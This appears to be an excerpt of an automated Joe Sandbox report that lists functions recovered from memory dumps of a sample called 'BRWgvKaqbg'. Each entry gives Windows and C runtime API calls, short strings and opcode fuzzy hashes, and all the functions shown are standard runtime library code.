SetLastError.KERNEL32(00000000,?,0057CA31,0057B003,00576E40,31F253B6,?,?,?,00000000,00590E82,000000FF,?,005757DE,?,?), ref: 0057CAC1

Memory Dump Source

Source File: 00000000.00000002.2242884082.0000000000571000.00000020.00000001.01000000.00000003.sdmp, Offset: 00570000, based on PE: true

Associated: 00000000.00000002.2242831184.0000000000570000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2242906921.0000000000593000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2242964573.000000000059F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2243112325.0000000000735000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_570000_BRWgvKaqbg.jbxd

Similarity

API ID: ErrorLastValue___vcrt_
String ID:
API String ID: 3852720340-0
Opcode ID: 13413872617071b9676c2e560c2812f298d17f89437caa20a8722279f8c2d849
Instruction ID: 6c8e3ffee2c4804166ab61a0bb205237eb9a3fd960cbeab254fc575346f2a184
Opcode Fuzzy Hash: 13413872617071b9676c2e560c2812f298d17f89437caa20a8722279f8c2d849
Instruction Fuzzy Hash: F101D836109216AEE72597B8BD8991A2F68FB527B7320C62EF019521E1EF518D01B254

Function 0057CB51 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 168COMMONLIBRARYCODE

Download Yara Rule

APIs

___AdjustPointer.LIBCMT ref: 0057CC18
___AdjustPointer.LIBCMT ref: 0057CC3B
___AdjustPointer.LIBCMT ref: 0057CCD7

Strings

kW, xrefs: 0057CBB0

Memory Dump Source

Source File: 00000000.00000002.2242884082.0000000000571000.00000020.00000001.01000000.00000003.sdmp, Offset: 00570000, based on PE: true

Associated: 00000000.00000002.2242831184.0000000000570000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2242906921.0000000000593000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2242964573.000000000059F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2243112325.0000000000735000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_570000_BRWgvKaqbg.jbxd

Similarity

API ID: AdjustPointer
String ID: kW
API String ID: 1740715915-2537022119
Opcode ID: a2eacaedff3c9ae2ceef928d3425e5edcd63e6ee9aea1b3d8215f11b9faf5bd9
Instruction ID: 2ab06ab23ce42e733eb5460f1f4b0a06761d5a673722e22c56d0923b524b0dfc
Opcode Fuzzy Hash: a2eacaedff3c9ae2ceef928d3425e5edcd63e6ee9aea1b3d8215f11b9faf5bd9
Instruction Fuzzy Hash: E251C2715046069FDB2A8F10E846B7A7FA8FF84710F14C56DE82D87291D731AD80E790

Function 00575B50 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 133COMMON

Download Yara Rule

APIs

InitOnceBeginInitialize.KERNEL32(007332EC,00000000,?,00000000), ref: 00575B61
InitOnceComplete.KERNEL32(007332EC,00000000,00000000), ref: 00575B84

Strings

2s, xrefs: 00575B8E

Memory Dump Source

Source File: 00000000.00000002.2242884082.0000000000571000.00000020.00000001.01000000.00000003.sdmp, Offset: 00570000, based on PE: true

Associated: 00000000.00000002.2242831184.0000000000570000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2242906921.0000000000593000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2242964573.000000000059F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2243112325.0000000000735000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_570000_BRWgvKaqbg.jbxd

Similarity

API ID: InitOnce$BeginCompleteInitialize
String ID: 2s
API String ID: 51270584-3226329195
Opcode ID: 1dd05f3ab811e6e85d1aad7ff56cff2f9b46f078fbac13bc90a079de42c70227
Instruction ID: f2a84880b9d7c077ceec2c6bb19c7e91a0da6c82c87643e7daa7d8fe5ec9d401
Opcode Fuzzy Hash: 1dd05f3ab811e6e85d1aad7ff56cff2f9b46f078fbac13bc90a079de42c70227
Instruction Fuzzy Hash: 19313771A00705EFDB10DFA4EC0AB5ABBA8FB45710F10C22AF91D972C0E775A904DB95

Function 005864EC Relevance: 7.7, APIs: 5, Instructions: 202COMMON

Download Yara Rule

APIs

__alloca_probe_16.LIBCMT ref: 00586573
__alloca_probe_16.LIBCMT ref: 00586634
__freea.LIBCMT ref: 0058669B

Part of subcall function 005853D2: HeapAlloc.KERNEL32(00000000,?,?,?,0057970C,?,?,0057193D,?,?,00592BCE,?,?), ref: 00585404

__freea.LIBCMT ref: 005866B0
__freea.LIBCMT ref: 005866C0

Memory Dump Source

Source File: 00000000.00000002.2242884082.0000000000571000.00000020.00000001.01000000.00000003.sdmp, Offset: 00570000, based on PE: true

Associated: 00000000.00000002.2242831184.0000000000570000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2242906921.0000000000593000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2242964573.000000000059F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2243112325.0000000000735000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_570000_BRWgvKaqbg.jbxd

Similarity

API ID: __freea$__alloca_probe_16$AllocHeap
String ID:
API String ID: 1096550386-0
Opcode ID: 32a54a97a0c252208fe370772dbf4da133f2f0b2939e2bc41bc1d4517cf68770
Instruction ID: 24fb10fac8ab3e8c12f2026e8271664078d90ce69ccfb6fbb665eabbb7425a9a
Opcode Fuzzy Hash: 32a54a97a0c252208fe370772dbf4da133f2f0b2939e2bc41bc1d4517cf68770
Instruction Fuzzy Hash: 14518E72600246AFEF21BE65DC86EBB3EA9FF84350B254528FD08F6250FA71CC109760

Function 00577029 Relevance: 7.6, APIs: 5, Instructions: 116threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 0057703D
AcquireSRWLockExclusive.KERNEL32(?,?,00000000,?,005753D4,?,?,?,?,?), ref: 0057705C
AcquireSRWLockExclusive.KERNEL32(?,?,?,?,00000000,?,005753D4,?,?,?,?,?), ref: 0057708A
TryAcquireSRWLockExclusive.KERNEL32(?,?,?,?,00000000,?,005753D4,?,?,?,?,?), ref: 005770E5
TryAcquireSRWLockExclusive.KERNEL32(?,?,?,?,00000000,?,005753D4,?,?,?,?,?), ref: 005770FC

Memory Dump Source

Source File: 00000000.00000002.2242884082.0000000000571000.00000020.00000001.01000000.00000003.sdmp, Offset: 00570000, based on PE: true

Associated: 00000000.00000002.2242831184.0000000000570000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2242906921.0000000000593000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2242964573.000000000059F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2243112325.0000000000735000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_570000_BRWgvKaqbg.jbxd

Similarity

API ID: AcquireExclusiveLock$CurrentThread
String ID:
API String ID: 66001078-0
Opcode ID: bc51b91dc5aa631c132fe7979666b2a21a9ec6e9b90971e6816b15f907387c97
Instruction ID: d86d8955c8a6a311f711c9046d3808b765c7aec430f70b1e6ed48f8a757d59c1
Opcode Fuzzy Hash: bc51b91dc5aa631c132fe7979666b2a21a9ec6e9b90971e6816b15f907387c97
Instruction Fuzzy Hash: 63414F70A0860ADBCB20CF65F48896ABBF5FF0C354B90C91AD45AD7540E730E945EF50

Function 0057C840 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 120COMMON

Download Yara Rule

APIs

___except_validate_context_record.LIBVCRUNTIME ref: 0057C87F
__IsNonwritableInCurrentImage.LIBCMT ref: 0057C933

Strings

kW, xrefs: 0057C94C
csm, xrefs: 0057C91D

Memory Dump Source

Source File: 00000000.00000002.2242884082.0000000000571000.00000020.00000001.01000000.00000003.sdmp, Offset: 00570000, based on PE: true

Associated: 00000000.00000002.2242831184.0000000000570000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2242906921.0000000000593000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2242964573.000000000059F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2243112325.0000000000735000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_570000_BRWgvKaqbg.jbxd

Similarity

API ID: CurrentImageNonwritable___except_validate_context_record
String ID: csm$kW
API String ID: 3480331319-18036078
Opcode ID: 7337ba94e6e8011496e530757ffe80572c42985304041ac94ba1731b36f94c59
Instruction ID: 9a34ed0c7bed4bb9102b65e7c8f82314c92c8586a3acfb779d2722595d6dc4e0
Opcode Fuzzy Hash: 7337ba94e6e8011496e530757ffe80572c42985304041ac94ba1731b36f94c59
Instruction Fuzzy Hash: 3841C134A00209ABCF10DF68E885A9EBFB5BF45314F14C059E91DAB392C731AE45EB91

Function 0057DB32 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 27libraryCOMMONLIBRARYCODE

Download Yara Rule

APIs

LoadLibraryExW.KERNEL32(?,00000000,00000800,?,0057DAE3,?,?,00000000,?,?,?,0057DC0D,00000002,FlsGetValue,005950A0,FlsGetValue), ref: 0057DB3F
GetLastError.KERNEL32(?,0057DAE3,?,?,00000000,?,?,?,0057DC0D,00000002,FlsGetValue,005950A0,FlsGetValue,?,?,0057CA5B), ref: 0057DB49
LoadLibraryExW.KERNEL32(?,00000000,00000000,0059CC7C,ios_base::failbit set,00000000), ref: 0057DB71

Strings

api-ms-, xrefs: 0057DB56

Memory Dump Source

Source File: 00000000.00000002.2242884082.0000000000571000.00000020.00000001.01000000.00000003.sdmp, Offset: 00570000, based on PE: true

Associated: 00000000.00000002.2242831184.0000000000570000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2242906921.0000000000593000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2242964573.000000000059F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2243112325.0000000000735000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_570000_BRWgvKaqbg.jbxd

Similarity

API ID: LibraryLoad$ErrorLast
String ID: api-ms-
API String ID: 3177248105-2084034818
Opcode ID: 929d64b4a36ff0c19ba10d0255d5db4b91af01a2824e172f33d6429c3f651e33
Instruction ID: 36ba7b31b0fb783dfbb02f199e747ce8298a39cbe4d02b07a7c04dbb09a2d460
Opcode Fuzzy Hash: 929d64b4a36ff0c19ba10d0255d5db4b91af01a2824e172f33d6429c3f651e33
Instruction Fuzzy Hash: 68E01270280204FBDF601B71FC0AF593F64BF11F50F158021F90DA40A1E762DE58AA94

Function 00586AB5 Relevance: 6.3, APIs: 4, Instructions: 338fileCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetConsoleOutputCP.KERNEL32(31F253B6,00000000,00000000,00000000), ref: 00586B18

Part of subcall function 00589574: WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000000,?,00000000,?,0000FDE9,00000000,-00000008,00000000,?,00586691,?,00000000,-00000008), ref: 00589620

WriteFile.KERNEL32(?,?,00000000,?,00000000), ref: 00586D73
WriteFile.KERNEL32(?,?,00000001,?,00000000), ref: 00586DBB
GetLastError.KERNEL32 ref: 00586E5E

Memory Dump Source

Source File: 00000000.00000002.2242884082.0000000000571000.00000020.00000001.01000000.00000003.sdmp, Offset: 00570000, based on PE: true

Associated: 00000000.00000002.2242831184.0000000000570000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2242906921.0000000000593000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2242964573.000000000059F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2243112325.0000000000735000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_570000_BRWgvKaqbg.jbxd

Similarity

API ID: FileWrite$ByteCharConsoleErrorLastMultiOutputWide
String ID:
API String ID: 2112829910-0
Opcode ID: 1ff2fc8708bdad41059eaa7a7f1d8a1a7e1a10b719efa889b603ee300c360b1c
Instruction ID: a048eb231560d1c170a5ed91dec9430b7aa64e1e8b3b82d0c238ec7f1b569bde
Opcode Fuzzy Hash: 1ff2fc8708bdad41059eaa7a7f1d8a1a7e1a10b719efa889b603ee300c360b1c
Instruction Fuzzy Hash: 31D16975E002499FCB05DFA8D8849AEBFB9FF48304F18456AE856F7251E730A901CB50

Function 00574740 Relevance: 6.2, APIs: 4, Instructions: 169COMMON

Download Yara Rule

APIs

std::_Throw_Cpp_error.LIBCPMT ref: 005747F6
std::_Throw_Cpp_error.LIBCPMT ref: 00574801
std::_Throw_Cpp_error.LIBCPMT ref: 00574905
std::_Throw_Cpp_error.LIBCPMT ref: 00574910

Memory Dump Source

Source File: 00000000.00000002.2242884082.0000000000571000.00000020.00000001.01000000.00000003.sdmp, Offset: 00570000, based on PE: true

Associated: 00000000.00000002.2242831184.0000000000570000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2242906921.0000000000593000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2242964573.000000000059F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2243112325.0000000000735000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_570000_BRWgvKaqbg.jbxd

Similarity

API ID: Cpp_errorThrow_std::_
String ID:
API String ID: 2134207285-0
Opcode ID: fe46b539dc8b7b2c6960b9db6ab09d3413bf2391604aa84ae4479e77096a6711
Instruction ID: 44b0d554790e0d319d45c08b02aa5f4311ffb656accf9f48e31b13f269c716d5
Opcode Fuzzy Hash: fe46b539dc8b7b2c6960b9db6ab09d3413bf2391604aa84ae4479e77096a6711
Instruction Fuzzy Hash: 1951E3B14047455BE724AB74B84AB6A7FD8BF91310F04CD2DF99E02552D7B1E808EBA3

Function 00589990 Relevance: 6.1, APIs: 4, Instructions: 82COMMON

Download Yara Rule

APIs

Part of subcall function 00589574: WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000000,?,00000000,?,0000FDE9,00000000,-00000008,00000000,?,00586691,?,00000000,-00000008), ref: 00589620

GetLastError.KERNEL32 ref: 005899F4
__dosmaperr.LIBCMT ref: 005899FB
GetLastError.KERNEL32(?,?,?,?), ref: 00589A35
__dosmaperr.LIBCMT ref: 00589A3C

Memory Dump Source

Source File: 00000000.00000002.2242884082.0000000000571000.00000020.00000001.01000000.00000003.sdmp, Offset: 00570000, based on PE: true

Associated: 00000000.00000002.2242831184.0000000000570000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2242906921.0000000000593000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2242964573.000000000059F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2243112325.0000000000735000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_570000_BRWgvKaqbg.jbxd

Similarity

API ID: ErrorLast__dosmaperr$ByteCharMultiWide
String ID:
API String ID: 1913693674-0
Opcode ID: 1e8a94374f7cda061ee4ab70d5e3b740b84ae73e85ce119869a094347020c5b7
Instruction ID: 9926ee0a4876a253a577e219aba5e727fd5ab24098edc17af5d9550354d39e0a
Opcode Fuzzy Hash: 1e8a94374f7cda061ee4ab70d5e3b740b84ae73e85ce119869a094347020c5b7
Instruction Fuzzy Hash: A621B371700206AFDB24BF61C88597ABFA9FF80364B088519FD19F7640D730EC009B90

Function 00581164 Relevance: 6.1, APIs: 4, Instructions: 79COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2242884082.0000000000571000.00000020.00000001.01000000.00000003.sdmp, Offset: 00570000, based on PE: true

Associated: 00000000.00000002.2242831184.0000000000570000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2242906921.0000000000593000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2242964573.000000000059F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2243112325.0000000000735000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_570000_BRWgvKaqbg.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5615ec0944e39c7aadcf6f9044115c575acd7371ba4069c30af5b5bb9174d7b3
Instruction ID: 27a551a14f7384115e33fbc8eeb9f0f2982de5eb0a8aa8317c6fc6d6ef2b5e5c
Opcode Fuzzy Hash: 5615ec0944e39c7aadcf6f9044115c575acd7371ba4069c30af5b5bb9174d7b3
Instruction Fuzzy Hash: DB217F35600A06AF9B20BF62D88992ABFADFF443647108915FD2AF6150DB30ED0287A4

Function 0058A926 Relevance: 6.1, APIs: 4, Instructions: 74COMMON

Download Yara Rule

APIs

GetEnvironmentStringsW.KERNEL32 ref: 0058A92E

Part of subcall function 00589574: WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000000,?,00000000,?,0000FDE9,00000000,-00000008,00000000,?,00586691,?,00000000,-00000008), ref: 00589620

FreeEnvironmentStringsW.KERNEL32(00000000), ref: 0058A966
FreeEnvironmentStringsW.KERNEL32(00000000), ref: 0058A986

Memory Dump Source

Source File: 00000000.00000002.2242884082.0000000000571000.00000020.00000001.01000000.00000003.sdmp, Offset: 00570000, based on PE: true

Associated: 00000000.00000002.2242831184.0000000000570000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2242906921.0000000000593000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2242964573.000000000059F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2243112325.0000000000735000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_570000_BRWgvKaqbg.jbxd

Similarity

API ID: EnvironmentStrings$Free$ByteCharMultiWide
String ID:
API String ID: 158306478-0
Opcode ID: d2ea0fa4a8f2f5064058b2e072643f0eec85628593e395e40b28196706fe53ae
Instruction ID: 1a9adadbb385c22d7341c7889b3e0a700c1aefdb40cf1cd7aa2dfb37a50f07a3
Opcode Fuzzy Hash: d2ea0fa4a8f2f5064058b2e072643f0eec85628593e395e40b28196706fe53ae
Instruction Fuzzy Hash: 191121B1609616BE7B113BB59C8DD7F6D6CFE953943120022FD01B1010FA608E01A372

Function 0058F6A8 Relevance: 6.0, APIs: 4, Instructions: 29COMMONLIBRARYCODE

Download Yara Rule

APIs

WriteConsoleW.KERNEL32(00000000,00000000,00000000,00000000,00000000,?,0058E4E1,00000000,00000001,00000000,00000000,?,00586EB2,00000000,00000000,00000000), ref: 0058F6BF
GetLastError.KERNEL32(?,0058E4E1,00000000,00000001,00000000,00000000,?,00586EB2,00000000,00000000,00000000,00000000,00000000,?,00587439,?), ref: 0058F6CB

Part of subcall function 0058F691: CloseHandle.KERNEL32(FFFFFFFE,0058F6DB,?,0058E4E1,00000000,00000001,00000000,00000000,?,00586EB2,00000000,00000000,00000000,00000000,00000000), ref: 0058F6A1

___initconout.LIBCMT ref: 0058F6DB

Part of subcall function 0058F653: CreateFileW.KERNEL32(CONOUT$,40000000,00000003,00000000,00000003,00000000,00000000,0058F682,0058E4CE,00000000,?,00586EB2,00000000,00000000,00000000,00000000), ref: 0058F666

WriteConsoleW.KERNEL32(00000000,00000000,00000000,00000000,?,0058E4E1,00000000,00000001,00000000,00000000,?,00586EB2,00000000,00000000,00000000,00000000), ref: 0058F6F0

Memory Dump Source

Source File: 00000000.00000002.2242884082.0000000000571000.00000020.00000001.01000000.00000003.sdmp, Offset: 00570000, based on PE: true

Associated: 00000000.00000002.2242831184.0000000000570000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2242906921.0000000000593000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2242964573.000000000059F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2243112325.0000000000735000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_570000_BRWgvKaqbg.jbxd

Similarity

API ID: ConsoleWrite$CloseCreateErrorFileHandleLast___initconout
String ID:
API String ID: 2744216297-0
Opcode ID: 62031545e002cb5913c3f020e3b7aaaf872bfc89ab824084255e9fa9727a2ab3
Instruction ID: 176eb61503e23abcb2f45932ee06f99893360f91c82d068e7763412333a0e2f9
Opcode Fuzzy Hash: 62031545e002cb5913c3f020e3b7aaaf872bfc89ab824084255e9fa9727a2ab3
Instruction Fuzzy Hash: 3DF03036101215FBCF222FD6DC08D8A3F26FB4D7A5B218121FE18A9131D632CD60EB90

Function 00590256 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 147COMMON

Download Yara Rule

APIs

DecodePointer.KERNEL32(?,?,?,?,?,?,?,?,?,0059000F), ref: 0059026F

Strings

kW, xrefs: 00590339, 005903E3, 00590429
drY, xrefs: 00590404

Memory Dump Source

Source File: 00000000.00000002.2242884082.0000000000571000.00000020.00000001.01000000.00000003.sdmp, Offset: 00570000, based on PE: true

Associated: 00000000.00000002.2242831184.0000000000570000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2242906921.0000000000593000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2242964573.000000000059F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2243112325.0000000000735000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_570000_BRWgvKaqbg.jbxd

Similarity

API ID: DecodePointer
String ID: drY$kW
API String ID: 3527080286-1922477077
Opcode ID: 79f267ad2772067dabf0299218a6bbdc705fd49b065a472d5213cb2a8e2d8383
Instruction ID: a704cee4c932513f2b43021d887fe0e790956e1ce6a98c659a2dcc34abd13ab6
Opcode Fuzzy Hash: 79f267ad2772067dabf0299218a6bbdc705fd49b065a472d5213cb2a8e2d8383
Instruction Fuzzy Hash: 1D519A7490860ECFDF109FA8E84C1BDBFB4FB08304F146C46E595AB2A8C7748A69DB45

Function 00573CC0 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 135COMMON

Download Yara Rule

APIs

std::_Throw_Cpp_error.LIBCPMT ref: 00573E5E
std::_Throw_Cpp_error.LIBCPMT ref: 00573E69

Strings

H6Y, xrefs: 00573D7A

Memory Dump Source

Source File: 00000000.00000002.2242884082.0000000000571000.00000020.00000001.01000000.00000003.sdmp, Offset: 00570000, based on PE: true

Associated: 00000000.00000002.2242831184.0000000000570000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2242906921.0000000000593000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2242964573.000000000059F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2243112325.0000000000735000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_570000_BRWgvKaqbg.jbxd

Similarity

API ID: Cpp_errorThrow_std::_
String ID: H6Y
API String ID: 2134207285-442727759
Opcode ID: 20db9fd475df02049daf9a1940fe9e58df2ba535873c4411931772a2d107b626
Instruction ID: b2f17699cb53fd16e4cb88931b5d334cb9b06cb60edcf6b6b84d45c980b9c8a3
Opcode Fuzzy Hash: 20db9fd475df02049daf9a1940fe9e58df2ba535873c4411931772a2d107b626
Instruction Fuzzy Hash: 5041C771601301CFCB24DF24E88976ABFE5BF85361F08C569E81D8B252D731DA44EB92

Function 0057D14D Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 112COMMONLIBRARYCODE

Download Yara Rule

APIs

EncodePointer.KERNEL32(00000000,?), ref: 0057D172

Strings

RCC, xrefs: 0057D18C
MOC, xrefs: 0057D184

Memory Dump Source

Source File: 00000000.00000002.2242884082.0000000000571000.00000020.00000001.01000000.00000003.sdmp, Offset: 00570000, based on PE: true

Associated: 00000000.00000002.2242831184.0000000000570000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2242906921.0000000000593000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2242964573.000000000059F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2243112325.0000000000735000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_570000_BRWgvKaqbg.jbxd

Similarity

API ID: EncodePointer
String ID: MOC$RCC
API String ID: 2118026453-2084237596
Opcode ID: 91ef60c2f876350ad1023ca5726000922ee5774e4cc87bf8de2a5def73491835
Instruction ID: 2e4919a03d598708a8eb899b030fcadbdfa23a9e7643f2b657a19cbeb0a20a0e
Opcode Fuzzy Hash: 91ef60c2f876350ad1023ca5726000922ee5774e4cc87bf8de2a5def73491835
Instruction Fuzzy Hash: B4416876900209EFCF15CF98EC85AAEBFB5BF88300F188159F908A7212D335D951EB61

Function 00576F01 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 73COMMON

Download Yara Rule

APIs

__alloca_probe_16.LIBCMT ref: 00576F89
RaiseException.KERNEL32(?,?,?,?,00000000,00000000), ref: 00576FAE

Part of subcall function 0057A4B0: RaiseException.KERNEL32(E06D7363,00000001,00000003,0057A1CE,?,?,?,?,0057A1CE,?,0059CB74), ref: 0057A510

Part of subcall function 0057E0BB: IsProcessorFeaturePresent.KERNEL32(00000017,0057DE42,?,0057DDB1,00000001,00000016,0057DFC0,?,?,?,?,?,00000000), ref: 0057E0D7

Strings

csm, xrefs: 00576F3D

Memory Dump Source

Source File: 00000000.00000002.2242884082.0000000000571000.00000020.00000001.01000000.00000003.sdmp, Offset: 00570000, based on PE: true

Associated: 00000000.00000002.2242831184.0000000000570000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2242906921.0000000000593000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2242964573.000000000059F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2243112325.0000000000735000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_570000_BRWgvKaqbg.jbxd

Similarity

API ID: ExceptionRaise$FeaturePresentProcessor__alloca_probe_16
String ID: csm
API String ID: 1924019822-1018135373
Opcode ID: e6b487bb96d589088b0ef8b8cbb09c7e79d2c27aadc0ed989af6af82288bc057
Instruction ID: a45c800aaae7bc5071877a015a4f6798546ed0d0808282d0ae9aaf97542057e8
Opcode Fuzzy Hash: e6b487bb96d589088b0ef8b8cbb09c7e79d2c27aadc0ed989af6af82288bc057
Instruction Fuzzy Hash: F621F232D01619DBCF24DF94F849AAEBBB4FF44310F448409E40DAB554CB70AD05EB81

Function 00579A3B Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 59COMMONLIBRARYCODE

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32(00000017), ref: 0057A213
___raise_securityfailure.LIBCMT ref: 0057A2FB

Strings

8s, xrefs: 0057A2F6

Memory Dump Source

Source File: 00000000.00000002.2242884082.0000000000571000.00000020.00000001.01000000.00000003.sdmp, Offset: 00570000, based on PE: true

Associated: 00000000.00000002.2242831184.0000000000570000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2242906921.0000000000593000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2242964573.000000000059F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2243112325.0000000000735000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_570000_BRWgvKaqbg.jbxd

Similarity

API ID: FeaturePresentProcessor___raise_securityfailure
String ID: 8s
API String ID: 3761405300-983697633
Opcode ID: e0a65a0005f17a680b3a847b8b3f0dcefd08decece9040a65e64b5764dca3c24
Instruction ID: db406240b7b5717bf7547ad264b73b389f3d348988ac3a145cc205810e4df171
Opcode Fuzzy Hash: e0a65a0005f17a680b3a847b8b3f0dcefd08decece9040a65e64b5764dca3c24
Instruction Fuzzy Hash: 9E21E4B5606200DAF724CF15F946B547BE4BB4834BF10C26AE5098B3A0D3BDAA809F49

Function 005775CA Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 49COMMONLIBRARYCODE

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 005775D6
std::_Lockit::~_Lockit.LIBCPMT ref: 00577632

Strings

kW, xrefs: 005775FD, 00577617

Memory Dump Source

Source File: 00000000.00000002.2242884082.0000000000571000.00000020.00000001.01000000.00000003.sdmp, Offset: 00570000, based on PE: true

Associated: 00000000.00000002.2242831184.0000000000570000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2242906921.0000000000593000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2242964573.000000000059F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2243112325.0000000000735000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

